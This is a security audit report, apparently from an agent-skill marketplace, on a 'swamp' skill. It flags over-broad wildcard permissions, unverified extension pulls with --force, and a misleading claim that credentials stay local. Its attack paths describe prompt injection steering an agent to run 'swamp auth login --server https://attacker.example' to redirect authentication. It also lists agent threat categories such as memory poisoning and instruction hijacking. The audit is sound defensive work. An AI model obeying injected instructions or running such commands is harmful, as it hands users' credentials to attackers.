Security audit

swamp

Security checks for vulnerabilities and agentic risk

Overview

The skill is broadly aligned with Swamp extension management, but it preauthorizes sensitive authentication and extension commands with too little scoping or confirmation.

Review this skill before installing. It is not clearly malicious, but it gives an agent broad authority over Swamp authentication and extension management. Avoid using custom auth servers unless you trust them, do not use `--force` or `-y` casually, inspect extensions before pulling or publishing, and consider narrowing the allowed Bash permissions to specific commands you actually need.

A.I.G

Vulnerability Patterns

Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Insecure DependenciesIntroduces malicious components through unsafe dependency sources
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review

Findings (2)

T08 · Insecure Dependencies

Error

Location: SKILL.md:179
Finding: Unverified Remote Extensions Can Introduce Untrusted Executable Components
Content: View full analysis
swamp extension pull --force ``` Use `--force` to overwrite existing files without prompting. ``` Related instructions also encourage extension installation at `SKILL.md:213-221`, `SKILL.md:241-244`, and `SKILL.md:291`. ### Technical Analysis The skill instructs the agent to retrieve community or team extensions without requiring: - Immutable version pinning - Cryptographic signature or checksum verification - Registry trust validation - Source-code review - Explicit approval before overwriting existing files The document states that extensions can contain custom TypeScript model definitions. These components can subsequently become part of executable model behavior. Consequently, the effective functionality installed by the skill can change after the skill itself has been reviewed. The `--force` option increases the risk because it allows downloaded extension files to replace existing local files without an interactive confirmation. Although this does not prove that a particular extension is malicious, the documented workflow creates an unsafe dependency and supply-chain boundary. ### Attack Path 1. An attacker publishes a malicious extension to a registry, compromises an existing extension, or distributes a deceptive extension name. 2. A user request or untrusted instruction causes the agent to run: ```bash swamp extension pull ``` 3. If files already exist, the agent may use `--force`, allowing their replacement without confirmation. 4. The downloaded extension introduces attacker-controlled model definitions or related components into the local repository. 5. The agent l ...[truncated 932 chars]
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: .claude/settings.local.json:2
Finding: Wildcard Permissions Preauthorize Sensitive Authentication and Extension Operations
Content: View full analysis
swamp auth whoami swamp auth logout ``` ```text Set `SWAMP_CLUB_URL` env var to target a custom server. ``` ### Technical Analysis The configuration preauthorizes every matching argument and subcommand beneath `swamp auth` and `swamp extension`. These command families cover materially different operations, including: - Authentication and logout - Selection of a custom registry server - Pulling remote extensions - Publishing extensions - Removing extensions - Forced replacement of local extension files This violates least privilege because read-only commands and state-changing or network-sensitive operations receive the same blanket authorization. It can also suppress the opportunity for a user to inspect and reject the destination server, extension identity, publication target, or overwrite behavior for each operation. The risk is amplified by the skill's support for `swamp auth login --server ` and `SWAMP_CLUB_URL`. An injected or mistaken instruction could therefore direct authentication or registry activity toward an attacker-selected endpoint while still using an allowed command family. ### Attack Path 1. An attacker supplies untrusted task content, repository instructions, or model output that asks the agent to authenticate to a custom server or perform an extension operation. 2. The agent constructs a command such as: ```bash swamp auth login --server https://attacker.example ``` or: ```bash swamp extension pull ...[truncated 1456 chars]
Remediation: View remediation

SkillSpector

Vulnerability Patterns

Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Rogue AgentSelf-Modification, Session Persistence
MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration

Findings (4)

Self-Modification

High

Category: Rogue Agent
Confidence: 95% confidence
Finding: Documenting 'swamp extension pull <extension_name> --force' as a normal option enables unprompted overwriting of existing files during installation of remote extension content. In a skill intended for agent use, this increases the risk of self-modification, destructive local changes, and supply-chain abuse if a malicious or mistaken extension is pulled.
Content: Scanner excerpt · SKILL.md (reported line 183)May include surrounding context.
swamp extension pull <extension_name> --force

text
Use `--force` to overwrite existing files without prompting. ### List Installed Extensions

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 281)May include surrounding context.
md
2. Create a new `SKILL.md` wrapping the weather model commands

Autonomous Decision Making

Medium

Category: Excessive Agency
Confidence: 85% confidence
Finding: Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.
Content: Scanner excerpt · SKILL.md (reported line 202)May include surrounding context.
swamp extension push --dry-run

text
Use `--dry-run` to build the archive locally and verify it without actually publishing. Use `-y` to skip confirmation prompts. ### Remove an Extension

Intent-Code Divergence

Medium

Category: Not specified by scanner
Confidence: 97% confidence
Finding: The documentation states that 'All Swamp operations run locally — credentials stay on the user's machine' while the same skill instructs users to authenticate to a remote registry and push/pull extensions. This is a misleading security claim that can cause users to underestimate network exposure, credential handling risks, and supply-chain interactions with external servers.
Content: No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.